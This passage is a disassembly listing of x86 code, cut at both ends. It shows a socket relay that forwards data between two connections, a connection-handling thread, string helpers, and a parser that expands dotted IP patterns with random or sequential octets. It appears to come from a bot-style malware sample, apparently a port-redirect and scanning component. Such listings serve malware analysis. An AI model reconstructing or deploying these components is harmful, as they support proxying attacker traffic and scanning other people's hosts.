		pop	ecx
		mov	eax, offset byte_417B60
		jnz	short loc_404DFA
		mov	eax, offset dword_412EB8


loc_404DFA:				; CODE XREF: sub_404D33+C0j
		push	eax
		movzx	eax, [ebp+var_414]
		push	eax
		lea	eax, [ebp+var_6D4]
		push	eax
		lea	eax, [ebp+var_5BA]
		push	offset dword_412E84
		push	eax
		call	sub_408D50
		add	esp, 14h


loc_404E1E:				; CODE XREF: sub_404D33+A6j
		cmp	esi, ebx
		jnz	short loc_404E59
		push	8
		lea	eax, [ebp+var_414]
		push	ebx
		push	eax
		call	sub_410850	; memset
		lea	eax, [ebp+var_414]
		push	8
		push	eax
		mov	[ebp+var_413], 5Bh
		push	[ebp+arg_0]
		call	sub_403D54
		push	[ebp+arg_0]
		call	sub_403D27
		add	esp, 1Ch
		jmp	loc_404F87
; ---------------------------------------------------------------------------


loc_404E59:				; CODE XREF: sub_404D33+EDj
		lea	eax, [ebp+var_C]
		push	0Ah
		push	eax
		push	[ebp+var_412]
		call	ds:dword_411248	; htons
		movzx	eax, ax
		push	eax
		call	sub_410C9A	; _itoa
		add	esp, 0Ch
		lea	eax, [ebp+var_C]
		push	2710h
		push	ebx
		push	eax
		push	[ebp+var_412+2]
		call	ds:dword_411230	; inet_ntoa
		push	eax
		call	sub_403BBB
		mov	[ebp+var_4], eax
		push	8
		lea	eax, [ebp+var_414]
		push	ebx
		push	eax
		call	sub_410850	; memset
		add	esp, 1Ch
		cmp	[ebp+var_4], ebx
		jnz	short loc_404ED5
		lea	eax, [ebp+var_414]
		push	8
		push	eax
		mov	[ebp+var_413], 5Bh
		push	[ebp+arg_0]
		call	sub_403D54
		push	[ebp+arg_0]
		call	sub_403D27
		add	esp, 10h
		jmp	loc_404F87
; ---------------------------------------------------------------------------


loc_404ED5:				; CODE XREF: sub_404D33+178j
		lea	eax, [ebp+var_414]
		push	8
		push	eax
		mov	[ebp+var_413], 5Ah
		push	[ebp+arg_0]
		call	sub_403D54
		add	esp, 0Ch
		mov	esi, 1000h


loc_404EF5:				; CODE XREF: sub_404D33+240j
		push	[ebp+arg_0]
		call	sub_403424
		test	eax, eax
		pop	ecx
		jz	short loc_404F30
		push	ebx
		lea	eax, [ebp+var_16D4]
		push	esi
		push	eax
		push	[ebp+arg_0]
		call	edi	; recv
		cmp	eax, ebx
		jz	short loc_404F75
		cmp	eax, 0FFFFFFFFh
		jz	short loc_404F75
		push	eax
		lea	eax, [ebp+var_16D4]
		push	eax
		push	[ebp+var_4]
		call	sub_403D54
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_404F75


loc_404F30:				; CODE XREF: sub_404D33+1CDj
		push	[ebp+var_4]
		call	sub_403424
		test	eax, eax
		pop	ecx
		jz	short loc_404F6B
		push	ebx
		lea	eax, [ebp+var_16D4]
		push	esi
		push	eax
		push	[ebp+var_4]
		call	edi	; recv
		cmp	eax, ebx
		jz	short loc_404F75
		cmp	eax, 0FFFFFFFFh
		jz	short loc_404F75
		push	eax
		lea	eax, [ebp+var_16D4]
		push	eax
		push	[ebp+arg_0]
		call	sub_403D54
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_404F75


loc_404F6B:				; CODE XREF: sub_404D33+208j
		push	32h
		call	ds:dword_4110A4	; Sleep
		jmp	short loc_404EF5
; ---------------------------------------------------------------------------


loc_404F75:				; CODE XREF: sub_404D33+1DFj
					; sub_404D33+1E4j ...
		push	[ebp+arg_0]
		call	sub_403D27
		push	[ebp+var_4]
		call	sub_403D27
		pop	ecx
		pop	ecx


loc_404F87:				; CODE XREF: sub_404D33+52j
					; sub_404D33+5Bj ...
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
sub_404D33	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404F90	proc near		; DATA XREF: sub_4050D1+8Fo

var_1C0		= dword	ptr -1C0h
var_1BC		= byte ptr -1BCh
var_1B6		= byte ptr -1B6h
var_1A6		= byte ptr -1A6h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1C0h
		push	1BDh
		lea	eax, [ebp+var_1C0]
		push	[ebp+arg_0]
		push	eax
		call	sub_410838	; memcpy
		push	[ebp+arg_0]
		call	sub_410832	; free
		lea	eax, [ebp+var_1BC]
		push	1
		push	eax
		call	sub_4035FB
		add	esp, 18h
		mov	[ebp+arg_0], eax
		test	eax, eax
		jnz	short loc_404FE0
		push	[ebp+var_1C0]
		call	sub_406753
		pop	ecx
		xor	eax, eax
		jmp	locret_4050CD
; ---------------------------------------------------------------------------


loc_404FE0:				; CODE XREF: sub_404F90+3Bj
		push	ebx
		push	esi
		lea	eax, [ebp+var_1BC]
		push	edi
		push	eax
		mov	eax, [ebp+var_1C0]
		push	dword ptr [eax]
		lea	eax, [ebp+var_1A6]
		push	offset dword_412EC4
		push	eax
		call	sub_408D50
		mov	edi, 3E8h
		push	edi
		push	[ebp+arg_0]
		call	sub_40371E
		add	esp, 18h


loc_405014:				; CODE XREF: sub_404F90+11Ej
		mov	ebx, eax
		mov	eax, [ebp+var_1C0]
		cmp	dword ptr [eax+4], 0
		jnz	loc_4050B3
		test	ebx, ebx
		jz	loc_4050B3
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_4050A3
		push	1BDh
		call	sub_41082C	; malloc
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jnz	short loc_40504C
		push	ebx
		call	sub_403D49
		jmp	short loc_4050A2
; ---------------------------------------------------------------------------


loc_40504C:				; CODE XREF: sub_404F90+B2j
		lea	eax, [ebp+var_1BC]
		mov	[esi], ebx
		push	eax
		lea	eax, [esi+4]
		push	eax
		call	sub_410820	; _mbscpy
		lea	eax, [ebp+var_1B6]
		push	eax
		lea	eax, [esi+0Ah]
		push	eax
		call	sub_410820	; _mbscpy
		lea	eax, [ebp+var_1A6]
		push	1A3h
		push	eax
		lea	eax, [esi+1Ah]
		push	eax
		call	sub_410838	; memcpy
		push	esi
		push	offset sub_404D33
		call	sub_406541
		add	esp, 24h
		test	eax, eax
		jnz	short loc_4050A3
		push	esi
		call	sub_410832	; free
		push	ebx
		call	sub_403D49
		pop	ecx


loc_4050A2:				; CODE XREF: sub_404F90+BAj
		pop	ecx


loc_4050A3:				; CODE XREF: sub_404F90+A1j
					; sub_404F90+103j
		push	edi
		push	[ebp+arg_0]
		call	sub_40371E
		pop	ecx
		pop	ecx
		jmp	loc_405014
; ---------------------------------------------------------------------------


loc_4050B3:				; CODE XREF: sub_404F90+90j
					; sub_404F90+98j
		push	[ebp+arg_0]
		call	sub_4038E1
		push	[ebp+var_1C0]
		call	sub_406753
		pop	ecx
		xor	eax, eax
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx

locret_4050CD:				; CODE XREF: sub_404F90+4Bj
		leave
		retn	4
sub_404F90	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4050D1	proc near		; CODE XREF: sub_40735A+113p

var_8		= byte ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		mov	ebx, [ebp+arg_4]
		test	ebx, ebx
		push	esi
		jnz	short loc_405102
		lea	eax, [ebp+var_8]
		push	0Ah
		push	eax
		push	0FFFFh
		push	401h
		call	sub_40AADE
		pop	ecx
		pop	ecx
		push	eax
		call	sub_410C9A	; _itoa
		add	esp, 0Ch
		lea	ebx, [ebp+var_8]


loc_405102:				; CODE XREF: sub_4050D1+Cj
		push	1BDh
		call	sub_41082C	; malloc
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jz	short loc_40516E
		lea	eax, [esi+4]
		push	ebx
		push	eax
		call	sub_410820	; _mbscpy
		mov	eax, [ebp+arg_8]
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40512B
		mov	eax, offset byte_417B60


loc_40512B:				; CODE XREF: sub_4050D1+53j
		push	edi
		push	10h
		push	eax
		lea	eax, [esi+0Ah]
		push	eax
		call	sub_4052A6
		mov	edi, [ebp+arg_0]
		push	1A3h
		lea	eax, [esi+1Ah]
		push	edi
		push	eax
		call	sub_410838	; memcpy
		xor	eax, eax
		add	esp, 18h
		cmp	[edi+18Bh], al
		push	ebx
		push	offset dword_412EF8
		setz	al
		push	eax
		push	esi
		push	offset sub_404F90
		call	sub_40663C
		add	esp, 14h
		pop	edi


loc_40516E:				; CODE XREF: sub_4050D1+40j
		pop	esi
		pop	ebx
		leave
		retn
sub_4050D1	endp


; =============== S U B	R O U T	I N E =======================================



sub_405172	proc near		; CODE XREF: sub_40B7A2+20Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_8]
		test	esi, esi
		mov	edx, esi
		jl	short loc_405198
		mov	eax, [esp+4+arg_0]
		lea	ecx, [eax+esi*2]


loc_405184:				; CODE XREF: sub_405172+24j
		mov	eax, [esp+4+arg_4]
		mov	al, [edx+eax]
		mov	[ecx], al
		and	byte ptr [ecx+1], 0
		dec	edx
		dec	ecx
		dec	ecx
		test	edx, edx
		jge	short loc_405184


loc_405198:				; CODE XREF: sub_405172+9j
		mov	eax, esi
		pop	esi
		retn
sub_405172	endp


; =============== S U B	R O U T	I N E =======================================



sub_40519C	proc near		; CODE XREF: sub_40735A+182p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	esi
		call	sub_410826	; strlen
		pop	ecx


loc_4051A8:				; CODE XREF: sub_40519C+1Bj
		test	eax, eax
		jz	short loc_4051B9
		dec	eax
		cmp	byte ptr [eax+esi], 20h
		jnz	short loc_4051B9
		and	byte ptr [eax+esi], 0
		jmp	short loc_4051A8
; ---------------------------------------------------------------------------


loc_4051B9:				; CODE XREF: sub_40519C+Ej
					; sub_40519C+15j
		pop	esi
		retn
sub_40519C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4051BB	proc near		; CODE XREF: sub_40543F+Cp

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		mov	edx, [esp+arg_0]
		xor	eax, eax


loc_4051C1:				; CODE XREF: sub_4051BB+14j
		mov	cl, [edx]
		test	cl, cl
		jz	short locret_4051D1
		cmp	cl, [esp+arg_4]
		jnz	short loc_4051CE
		inc	eax


loc_4051CE:				; CODE XREF: sub_4051BB+10j
		inc	edx
		jmp	short loc_4051C1
; ---------------------------------------------------------------------------

locret_4051D1:				; CODE XREF: sub_4051BB+Aj
		retn
sub_4051BB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4051D2	proc near		; CODE XREF: sub_4098BB+2Ap
					; sub_4098BB+EDp

var_4		= byte ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		cmp	[ebp+arg_10], esi
		jnz	short loc_4051FB
		push	esi
		push	esi
		push	[ebp+arg_8]
		call	sub_410850	; memset
		push	esi
		push	esi
		push	[ebp+arg_C]
		call	sub_410850	; memset
		add	esp, 18h
		xor	eax, eax
		jmp	short loc_405271
; ---------------------------------------------------------------------------


loc_4051FB:				; CODE XREF: sub_4051D2+Cj
		push	[ebp+arg_0]
		mov	esi, [ebp+arg_4]
		push	esi
		call	sub_410820	; _mbscpy
		lea	eax, [ebp+var_4]
		push	eax
		push	offset dword_412F18
		push	[ebp+arg_0]
		call	sub_405733
		mov	ebx, [ebp+arg_8]
		add	esp, 14h
		push	1
		mov	[ebx], eax
		mov	eax, [ebp+arg_C]
		pop	edi
		cmp	[ebp+arg_10], edi
		mov	[eax], esi
		jle	short loc_40526E
		mov	[ebp+arg_8], eax
		lea	esi, [ebx+4]
		sub	[ebp+arg_8], ebx


loc_405236:				; CODE XREF: sub_4051D2+9Aj
		xor	eax, eax
		cmp	[esi-4], eax
		jz	short loc_405276
		lea	ecx, [ebp+var_4]
		push	ecx
		push	offset dword_412F18
		push	eax
		call	sub_405733
		add	esp, 0Ch
		mov	[esi], eax
		test	eax, eax
		jz	short loc_40525D
		sub	eax, [ebp+arg_0]
		add	eax, [ebp+arg_4]
		jmp	short loc_40525F
; ---------------------------------------------------------------------------


loc_40525D:				; CODE XREF: sub_4051D2+81j
		xor	eax, eax


loc_40525F:				; CODE XREF: sub_4051D2+89j
		mov	ecx, [ebp+arg_8]
		inc	edi
		mov	[ecx+esi], eax
		add	esi, 4
		cmp	edi, [ebp+arg_10]
		jl	short loc_405236


loc_40526E:				; CODE XREF: sub_4051D2+59j
		mov	eax, [ebp+arg_10]


loc_405271:				; CODE XREF: sub_4051D2+27j
					; sub_4051D2+D2j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_405276:				; CODE XREF: sub_4051D2+69j
		mov	esi, edi
		imul	esi, 3FFFFFFFh
		add	esi, [ebp+arg_10]
		shl	esi, 2
		push	esi
		push	eax
		lea	eax, [ebx+edi*4]
		push	eax
		call	sub_410850	; memset
		mov	eax, [ebp+arg_C]
		push	esi
		push	0
		lea	eax, [eax+edi*4]
		push	eax
		call	sub_410850	; memset
		add	esp, 18h
		lea	eax, [edi-1]
		jmp	short loc_405271
sub_4051D2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4052A6	proc near		; CODE XREF: sub_40110A+58p
					; sub_40110A+8Cp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+arg_0]
		mov	ecx, [ebp+arg_8]
		test	ecx, ecx
		jz	short loc_4052D0
		cmp	ecx, 1
		jz	short loc_4052CD


loc_4052BD:				; CODE XREF: sub_4052A6+25j
		mov	al, [esi]
		mov	[edi], al
		test	al, al
		jz	short loc_4052D0
		inc	esi
		inc	edi
		dec	ecx
		cmp	ecx, 1
		jnz	short loc_4052BD


loc_4052CD:				; CODE XREF: sub_4052A6+15j
		mov	byte ptr [edi],	0


loc_4052D0:				; CODE XREF: sub_4052A6+10j
					; sub_4052A6+1Dj
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_4052A6	endp


; =============== S U B	R O U T	I N E =======================================



sub_4052D4	proc near		; CODE XREF: sub_40678D+17p
					; sub_406868+1Bp ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]


loc_4052D8:				; CODE XREF: sub_4052D4+15j
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_4052EE
		cmp	cl, 30h
		jl	short loc_4052EB
		cmp	byte ptr [eax],	39h
		jg	short loc_4052EB
		inc	eax
		jmp	short loc_4052D8
; ---------------------------------------------------------------------------


loc_4052EB:				; CODE XREF: sub_4052D4+Dj
					; sub_4052D4+12j
		xor	al, al
		retn
; ---------------------------------------------------------------------------


loc_4052EE:				; CODE XREF: sub_4052D4+8j
		mov	al, 1
		retn
sub_4052D4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4052F1	proc near		; CODE XREF: sub_401000+9Cp
					; sub_40F11A+5Dp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_8]
		push	edi
		call	sub_410826	; strlen
		mov	ebx, [ebp+arg_4]
		and	[ebp+arg_8], 0
		sub	ebx, eax
		pop	ecx
		mov	[ebp+var_4], eax
		js	short loc_405349
		mov	esi, [ebp+arg_0]


loc_405313:				; CODE XREF: sub_4052F1+56j
		mov	al, [esi]
		mov	cl, [edi]
		cmp	al, cl
		jz	short loc_40532F
		movsx	edx, al
		movsx	eax, cl
		lea	ecx, [eax+20h]
		cmp	edx, ecx
		jz	short loc_40532F
		add	eax, 0FFFFFFE0h
		cmp	edx, eax
		jnz	short loc_405340


loc_40532F:				; CODE XREF: sub_4052F1+28j
					; sub_4052F1+35j
		push	[ebp+var_4]
		push	edi
		push	esi
		call	sub_410CA0	; _strnicmp
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_405350


loc_405340:				; CODE XREF: sub_4052F1+3Cj
		inc	[ebp+arg_8]
		inc	esi
		cmp	[ebp+arg_8], ebx
		jle	short loc_405313


loc_405349:				; CODE XREF: sub_4052F1+1Dj
		xor	eax, eax


loc_40534B:				; CODE XREF: sub_4052F1+67j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_405350:				; CODE XREF: sub_4052F1+4Dj
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+arg_0]
		add	eax, ecx
		jmp	short loc_40534B
sub_4052F1	endp


; =============== S U B	R O U T	I N E =======================================



sub_40535A	proc near		; CODE XREF: sub_406F40+CCp
					; sub_409A8C+Cp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		xor	eax, eax
		mov	cl, [esi]


loc_405363:				; CODE XREF: sub_40535A+1Cj
		test	cl, cl
		jz	short loc_405378
		cmp	cl, 0Dh
		jz	short loc_40537C
		cmp	cl, 0Ah
		jz	short loc_40537C
		mov	cl, [eax+esi+1]
		inc	eax
		jmp	short loc_405363
; ---------------------------------------------------------------------------


loc_405378:				; CODE XREF: sub_40535A+Bj
		add	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_40537C:				; CODE XREF: sub_40535A+10j
					; sub_40535A+15j
		push	edi
		xor	ecx, ecx
		lea	edi, [eax+esi]


loc_405382:				; CODE XREF: sub_40535A+3Aj
		mov	dl, [edi+ecx]
		cmp	dl, 0Dh
		jz	short loc_40538F
		cmp	dl, 0Ah
		jnz	short loc_405396


loc_40538F:				; CODE XREF: sub_40535A+2Ej
		and	byte ptr [edi+ecx], 0
		inc	ecx
		jmp	short loc_405382
; ---------------------------------------------------------------------------


loc_405396:				; CODE XREF: sub_40535A+33j
		add	eax, ecx
		pop	edi
		add	eax, esi
		pop	esi
		retn
sub_40535A	endp


; =============== S U B	R O U T	I N E =======================================



sub_40539D	proc near		; CODE XREF: sub_40CF3E+4Ep
					; sub_40CF3E+C6p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jz	short locret_4053B9


loc_4053A8:				; CODE XREF: sub_40539D+17j
		mov	cl, [eax]
		test	cl, cl
		jz	short locret_4053B9
		cmp	cl, 20h
		jz	short loc_4053B6
		inc	eax
		jmp	short loc_4053A8
; ---------------------------------------------------------------------------


loc_4053B6:				; CODE XREF: sub_40539D+14j
		and	byte ptr [eax],	0

locret_4053B9:				; CODE XREF: sub_40539D+9j
					; sub_40539D+Fj
		retn
sub_40539D	endp


; =============== S U B	R O U T	I N E =======================================



sub_4053BA	proc near		; CODE XREF: sub_4058D7+21Fp
					; sub_40849F+62p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_0]
		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		xor	eax, eax
		mov	esi, ecx


loc_4053C8:				; CODE XREF: sub_4053BA+2Aj
		mov	dl, [esi]
		cmp	dl, 20h
		jnz	short loc_4053D8
		test	edi, edi
		jnz	short loc_4053E3
		push	1
		pop	edi
		jmp	short loc_4053DA
; ---------------------------------------------------------------------------


loc_4053D8:				; CODE XREF: sub_4053BA+13j
		xor	edi, edi


loc_4053DA:				; CODE XREF: sub_4053BA+1Cj
		mov	[eax+ecx], dl
		inc	eax
		cmp	byte ptr [esi],	0
		jz	short loc_4053E6


loc_4053E3:				; CODE XREF: sub_4053BA+17j
		inc	esi
		jmp	short loc_4053C8
; ---------------------------------------------------------------------------


loc_4053E6:				; CODE XREF: sub_4053BA+27j
		cmp	[esp+8+arg_8], 0
		pop	edi
		pop	esi
		jz	short locret_4053FE


loc_4053EF:				; CODE XREF: sub_4053BA+42j
		test	eax, eax
		jz	short locret_4053FE
		and	byte ptr [eax+ecx], 0
		dec	eax
		cmp	byte ptr [eax+ecx], 20h
		jz	short loc_4053EF

locret_4053FE:				; CODE XREF: sub_4053BA+33j
					; sub_4053BA+37j
		retn
sub_4053BA	endp


; =============== S U B	R O U T	I N E =======================================



sub_4053FF	proc near		; CODE XREF: sub_40543F+41p
					; sub_40543F+50p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		push	ebx
		push	esi
		push	edi
		mov	edi, [esp+0Ch+arg_0]
		xor	eax, eax
		mov	ebx, edi
		mov	esi, ecx
		sub	ebx, ecx


loc_405412:				; CODE XREF: sub_4053FF+26j
		mov	dl, [esi]
		cmp	dl, 2Eh
		jz	short loc_40542D
		test	dl, dl
		jz	short loc_405437
		mov	[ebx+esi], dl
		inc	eax
		inc	esi
		cmp	eax, 4
		jl	short loc_405412
		xor	eax, eax


loc_405429:				; CODE XREF: sub_4053FF+36j
					; sub_4053FF+3Ej
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_40542D:				; CODE XREF: sub_4053FF+18j
		and	byte ptr [eax+edi], 0
		lea	eax, [eax+ecx+1]
		jmp	short loc_405429
; ---------------------------------------------------------------------------


loc_405437:				; CODE XREF: sub_4053FF+1Cj
		and	byte ptr [eax+edi], 0
		add	eax, ecx
		jmp	short loc_405429
sub_4053FF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40543F	proc near		; CODE XREF: sub_405580+19p
					; sub_405580+38p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		push	2Eh
		push	esi
		call	sub_4051BB
		pop	ecx
		cmp	eax, 3
		pop	ecx
		jg	short loc_40547A
		mov	ecx, [ebp+arg_10]
		mov	edi, [ebp+arg_8]
		xor	ebx, ebx
		mov	[ecx], bl
		mov	ecx, [ebp+arg_C]
		sub	eax, ebx
		mov	[ecx], bl
		mov	ecx, [ebp+arg_4]
		mov	[edi], bl
		mov	[ecx], bl
		jz	short loc_4054AD
		dec	eax
		jz	short loc_40549C
		dec	eax
		jz	short loc_40548D
		dec	eax
		jz	short loc_40547E


loc_40547A:				; CODE XREF: sub_40543F+16j
					; sub_40543F+4Cj ...
		xor	eax, eax
		jmp	short loc_4054BE
; ---------------------------------------------------------------------------


loc_40547E:				; CODE XREF: sub_40543F+39j
		push	esi
		push	ecx
		call	sub_4053FF
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_40547A


loc_40548D:				; CODE XREF: sub_40543F+36j
		push	esi
		push	edi
		call	sub_4053FF
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_40547A


loc_40549C:				; CODE XREF: sub_40543F+33j
		push	esi
		push	[ebp+arg_C]
		call	sub_4053FF
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_40547A


loc_4054AD:				; CODE XREF: sub_40543F+30j
		push	esi
		push	[ebp+arg_10]
		call	sub_4053FF
		neg	eax
		pop	ecx
		sbb	eax, eax
		pop	ecx
		neg	eax


loc_4054BE:				; CODE XREF: sub_40543F+3Dj
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_40543F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4054C3	proc near		; CODE XREF: sub_405580+81p
					; sub_405580+97p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		mov	dl, [eax]
		cmp	dl, 72h
		jnz	short loc_4054F7
		cmp	byte ptr [eax+1], 0
		jnz	short loc_4054F7
		push	0Ah
		push	[ebp+arg_C]
		push	0FFh
		push	0
		call	sub_40AADE
		pop	ecx
		pop	ecx
		push	eax
		call	sub_410C9A	; _itoa
		add	esp, 0Ch
		jmp	loc_40557B
; ---------------------------------------------------------------------------


loc_4054F7:				; CODE XREF: sub_4054C3+Bj
					; sub_4054C3+11j
		cmp	dl, 73h
		jz	short loc_405501
		cmp	dl, 69h
		jnz	short loc_405560


loc_405501:				; CODE XREF: sub_4054C3+37j
		cmp	byte ptr [eax+1], 0
		jnz	short loc_405560
		mov	ecx, [ebp+arg_0]
		mov	al, [ecx]
		test	al, al
		jz	short loc_405543
		cmp	[ebp+arg_10], 0
		jz	short loc_40553C
		push	ebx
		push	ecx
		call	sub_41088C	; atoi
		mov	ebx, eax
		push	0Ah
		push	[ebp+arg_C]
		inc	bl
		movzx	eax, bl
		push	eax
		call	sub_410C9A	; _itoa
		add	esp, 10h
		xor	eax, eax
		test	bl, bl
		setz	al
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_40553C:				; CODE XREF: sub_4054C3+51j
		test	al, al
		jz	short loc_405543
		push	ecx
		jmp	short loc_405552
; ---------------------------------------------------------------------------


loc_405543:				; CODE XREF: sub_4054C3+4Bj
					; sub_4054C3+7Bj
		cmp	dl, 69h
		jnz	short loc_40554F
		push	offset dword_412F1C
		jmp	short loc_405552
; ---------------------------------------------------------------------------


loc_40554F:				; CODE XREF: sub_4054C3+83j
		push	[ebp+arg_8]


loc_405552:				; CODE XREF: sub_4054C3+7Ej
					; sub_4054C3+8Aj
		push	[ebp+arg_C]
		call	sub_410820	; _mbscpy
		pop	ecx
		xor	eax, eax
		pop	ecx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_405560:				; CODE XREF: sub_4054C3+3Cj
					; sub_4054C3+42j
		test	dl, dl
		jnz	short loc_40556B
		mov	eax, [ebp+arg_0]
		cmp	[eax], dl
		jz	short loc_40556E


loc_40556B:				; CODE XREF: sub_4054C3+9Fj
		push	eax
		jmp	short loc_405571
; ---------------------------------------------------------------------------


loc_40556E:				; CODE XREF: sub_4054C3+A6j
		push	[ebp+arg_8]


loc_405571:				; CODE XREF: sub_4054C3+A9j
		push	[ebp+arg_C]
		call	sub_410820	; _mbscpy
		pop	ecx
		pop	ecx


loc_40557B:				; CODE XREF: sub_4054C3+2Fj
		mov	eax, [ebp+arg_10]
		pop	ebp
		retn
sub_4054C3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405580	proc near		; CODE XREF: sub_40E18A+137p
					; sub_40E18A+2F4p

var_3C		= byte ptr -3Ch
var_38		= byte ptr -38h
var_34		= byte ptr -34h
var_30		= byte ptr -30h
var_2C		= byte ptr -2Ch
var_28		= byte ptr -28h
var_24		= byte ptr -24h
var_20		= byte ptr -20h
var_1C		= byte ptr -1Ch
var_18		= byte ptr -18h
var_14		= byte ptr -14h
var_10		= byte ptr -10h
var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 3Ch
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_2C]
		push	eax
		push	[ebp+arg_0]
		call	sub_40543F
		add	esp, 14h
		test	eax, eax
		jz	short loc_4055EB
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_28]
		push	eax
		push	[ebp+arg_4]
		call	sub_40543F
		add	esp, 14h
		test	eax, eax
		jz	short loc_4055EB
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		push	offset dword_418C78
		call	sub_40543F
		add	esp, 14h
		test	eax, eax
		jz	short loc_4055EB
		cmp	byte ptr [ebp+arg_0], 0
		jnz	short loc_4055EF


loc_4055EB:				; CODE XREF: sub_405580+23j
					; sub_405580+42j ...
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_4055EF:				; CODE XREF: sub_405580+69j
		lea	eax, [ebp+var_30]
		push	1
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_4054C3
		push	eax
		lea	eax, [ebp+var_34]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		call	sub_4054C3
		push	eax
		lea	eax, [ebp+var_38]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_4054C3
		push	eax
		lea	eax, [ebp+var_3C]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_28]
		push	eax
		lea	eax, [ebp+var_2C]
		push	eax
		call	sub_4054C3
		add	esp, 50h
		lea	eax, [ebp+var_30]
		push	eax
		lea	eax, [ebp+var_34]
		push	eax
		lea	eax, [ebp+var_38]
		push	eax
		lea	eax, [ebp+var_3C]
		push	eax
		push	offset loc_412F20
		push	[ebp+arg_8]
		call	sub_410844	; sprintf
